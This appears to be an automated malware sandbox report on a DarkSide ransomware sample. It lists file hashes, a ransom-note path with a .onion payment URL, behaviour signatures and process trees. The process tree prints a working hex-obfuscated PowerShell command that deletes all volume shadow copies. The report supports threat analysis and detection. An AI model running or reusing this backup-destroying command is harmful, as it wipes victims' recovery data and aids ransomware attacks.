Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
03-06-2024 20:50
General
-
Target
00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
-
Size
259KB
-
MD5
00ca7e42b298d5e2a06050b527abef40
-
SHA1
b343760bff3f0c6adbd9b5b39e65894be6d550a5
-
SHA256
6183d9296b128c378e32228916ec2d34fc1cee19b84bcdcf6ff8dcb2e6492a42
-
SHA512
6e24df07d15b1dbe3da753aa6730685729490285d83397e7f140c592a45d1ecdb33c7cbd15c48bd3c4f803cff55c655f86d7523187a770a434f85f795dcba4c6
-
SSDEEP
6144:j9Iuq5yqBxgxIlrfImRCW2cqv7pLR1N1e9ORXrP4QP:j9Ir5yOxiIlrfspjqwRLT
Malware Config
Extracted
C:\Users\Admin\README.f7623f4a.TXT
darkside
http://darksidfqzcuhtk2.onion/ZPHGS4V186LJE9D41BZPQYMAVTRO61FS5DFITXN3164U5B607T7W51NEY0WV7CT1
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (137) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
-
Modifies Control Panel 1 IoCs
-
Modifies registry class 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 25 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
1KB
MD5d4ff23c124ae23955d34ae2a7306099a
SHA1b814e3331a09a27acfcd114d0c8fcb07957940a3
SHA2561de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87
SHA512f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD52b8c971078b833a80c3967684055ddc3
SHA1e657e2ca052d0701270e3e3194e8016711da2bc6
SHA256b6552686237ecece9ecbc303880abaadde34da6a31f3086b9d0782198f657ee8
SHA5120f1cb2a9b3c30e106bbac81968206add8f4f00db90877c3447202ee483855e2c8b0c68bdde136604e1a8ab217a15bef11cd096ff8bf87f65e0d805df2b95f670
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
136KB
-
Filesize
184KB
-
Filesize
184KB
-
Filesize
184KB
-
Filesize
184KB
-
Filesize
184KB
-
Filesize
184KB
-
Filesize
4KB
-
Filesize
236KB
-
Filesize
184KB
-
Filesize
32KB
-
Filesize
236KB
-
Filesize
184KB
-
Filesize
32KB